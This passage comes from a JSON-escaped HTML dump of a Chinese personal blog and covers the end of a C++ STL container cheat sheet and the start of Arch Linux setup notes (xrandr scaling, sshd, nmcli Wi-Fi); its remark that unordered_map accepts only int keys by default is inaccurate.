\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(arr, arr+\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化list\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u0026amp;arr[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化list\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003emerge\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 合并两个list\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003eremove\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003eremove_if\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 按指定条件删除元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003ereverse\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 逆置list元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 排序\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003eunique\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 删除重复元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist.\u003cspan class=\"built_in\"\u003esplice\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 从另一个 list 中移动元素\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Most used functions\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Deque\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Deque\" class=\"headerlink\" title=\"Deque\"\u003e\u003c/a\u003eDeque\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;deque\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e双端队列。每个元素在内存上是连续的,类似vector,是它的升级版。它有高效的首尾插入/删除操作。实现方法相当于list和vector的折衷。\u003c/p\u003e\u003cp\u003e它支持随机访问和\u003ccode\u003eat()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_front\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// vector 没有该函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e关联式容器: \u003ccode\u003emap, unordered_map, multimap, unordered_multimap, set, unordered_set, multiset, unordered_multiset\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"Map\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Map\" class=\"headerlink\" title=\"Map\"\u003e\u003c/a\u003eMap\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一种基于红黑树的键值对数据结构。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数据插入, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003einsert\u003c/span\u003e({key, value});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key] = value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 移除, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(key)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 搜索, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003ecount\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回匹配特定键的元素数量, 对数复杂度\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003econtains\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eequal_range\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003elower_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eupper_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Unordered-Map\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Unordered-Map\" class=\"headerlink\" title=\"Unordered-Map\"\u003e\u003c/a\u003eUnordered-Map\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unordered_map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e区别于前者使用红黑树实现,它使用哈希函数实现,因此元素无序。\u003c/p\u003e\u003cp\u003e注意,默认情况下,它只支持使用\u003ccode\u003eint\u003c/code\u003e作为键,其他类型是不合法的。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数据插入, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003einsert\u003c/span\u003e({key, value});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key] = value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 移除, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(key)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 搜索, 复杂度为 logn\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap[key]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003ecount\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回匹配特定键的元素数量, 对数复杂度\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003econtains\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eequal_range\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003elower_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap.\u003cspan class=\"built_in\"\u003eupper_bound\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Set\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Set\" class=\"headerlink\" title=\"Set\"\u003e\u003c/a\u003eSet\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;set\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eset 是一个关键字集合, 其中的关键字 不可重复, 其底层采用红黑树实现, 因此集合中的元素是 有序 的, 在 set 容器上进行的搜索, 插入和移除等操作都是\u003cstrong\u003e对数复杂度\u003c/strong\u003e的.\u003c/p\u003e\u003cp\u003e特有操作:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003elower_bound\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回指向首个不小于给定键的元素的迭代器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eupper_bound\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// 返回指向首个大于给定键的元素的迭代器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eerase_if\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Stack\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Stack\" class=\"headerlink\" title=\"Stack\"\u003e\u003c/a\u003eStack\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stack\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estack\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e(); \u003cspan class=\"comment\"\u003e// get value of top\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e() \u003cspan class=\"comment\"\u003e// judge whether stack is empty\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Reference\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Reference\" class=\"headerlink\" title=\"Reference\"\u003e\u003c/a\u003eReference\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://stackoverflow.com/questions/5293737/where-are-the-man-pages-for-c\"\u003eStackOverflow - Where are the man pages for C++? [closed]\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://forever97.top/2020/10/21/Re0-2/\"\u003eforever97\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://baike.baidu.com/item/apropos/15852795\"\u003e百度百科 - apropos\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/14/cpp-stl/"},{"title":"Arch Linux折腾笔记","time":"2023-09-05T13:39:57Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cp\u003e参考 Arch Wiki 或者参考这个简化版教程:\u003ca href=\"https://arch.icekylin.online/\"\u003ehttps://arch.icekylin.online/\u003c/a\u003e。过程按照教程一步步折腾就ok,只要注意区分清楚各个分区,别不小心把数据分区给格式化了就行。联网是安装Arch的必须项,所以请保持网络畅通。另外,建议\u003cstrong\u003e安装镜像最好在安装完成后继续保留着\u003c/strong\u003e,应急情况下(比如滚挂了)可以用\u003ccode\u003earch-chroot\u003c/code\u003e来应急重装内核之类的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e至于Arch经常被吐槽滚挂了的原因,主要是源自Arch的更新策略比较激进,更新完成后,会直接删除老内核,比起一般的更新策略更容易出现依赖问题造成“滚挂了“。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e桌面环境、cn源、透明代理之类的配置,也可以参考上面的教程。关于透明代理,也可以参考\u003ca href=\"https://blog.linioi.com/posts/clash-on-arch/\"\u003e这篇文章\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"美化\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E7%BE%8E%E5%8C%96\" class=\"headerlink\" title=\"美化\"\u003e\u003c/a\u003e美化\u003c/h2\u003e\u003cp\u003e这点上因人而异。我装了layan主题之后,再换个壁纸,装个latte就差不多了。我的原则是,美化差不多就行,但是前提是别影响到系统性能。\u003c/p\u003e\u003ch2 id=\"显示适配\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E6%98%BE%E7%A4%BA%E9%80%82%E9%85%8D\" class=\"headerlink\" title=\"显示适配\"\u003e\u003c/a\u003e显示适配\u003c/h2\u003e\u003cp\u003e单显示器的配置很简单,改下dpi缩放就基本ok。如果是多显示器的话,就会复杂一些。参考下面的公式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 假设HiDPI显示器的分辨率是AxB,普通分辨率显示器的分辨率是CxD \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 并且外置显示器的缩放比率是ExF\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003exrandr --output eDP-1 --auto --output HDMI-1 --auto --panning [C*E]x[D*F]+[A]+0 --scale [E]x[F] --right-of eDP-1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e根据上面的公式来设置,基本上能搞定。当然,如果想调整的是内置HiDPI显示器分辨率,就得调整最后\u003ccode\u003epanning\u003c/code\u003e的A为Ax[A的缩放比率]。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cul\u003e\u003cli\u003e[1] \u003ca href=\"https://nmgit.net/2020/139/\"\u003eBarry的笔记\u003c/a\u003e\u003c/li\u003e\u003cli\u003e[2] \u003ca href=\"https://harttle.land/2019/12/24/auto-xrandr.html\"\u003eX11 多显示器配置:玩转 XRandR\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"启用外部ssh连接\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%90%AF%E7%94%A8%E5%A4%96%E9%83%A8ssh%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"启用外部ssh连接\"\u003e\u003c/a\u003e启用外部ssh连接\u003c/h2\u003e\u003cp\u003e如果想从外部连接到Arch的电脑上,只要安装了openssh就行。Arch默认不会启动\u003ccode\u003esshd\u003c/code\u003e,所以我们得手动开启:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esystemctl start sshd\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"在命令行连接Wi-Fi\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E5%9C%A8%E5%91%BD%E4%BB%A4%E8%A1%8C%E8%BF%9E%E6%8E%A5Wi-Fi\" class=\"headerlink\" title=\"在命令行连接Wi-Fi\"\u003e\u003c/a\u003e在命令行连接Wi-Fi\u003c/h2\u003e\u003cp\u003e在完成安装后,启动NetworkManager:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl \u003cspan class=\"built_in\"\u003eenable\u003c/span\u003e --now NetworkManager\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后使用\u003ccode\u003enmcli\u003c/code\u003e来连接Wi-Fi:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enmcli dev wifi list\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 后面的password部分不指定的话,会自动要求输入\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmcli dev wifi connect \u003cspan class=\"string\"\u003e\u0026#34;SSID\u0026#34;\u003c/span\u003e password \u003cspan class=\"string\"\u003e\u0026#34;password\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"使用TimeShift备份系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E4%BD%BF%E7%94%A8TimeShift%E5%A4%87%E4%BB%BD%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" 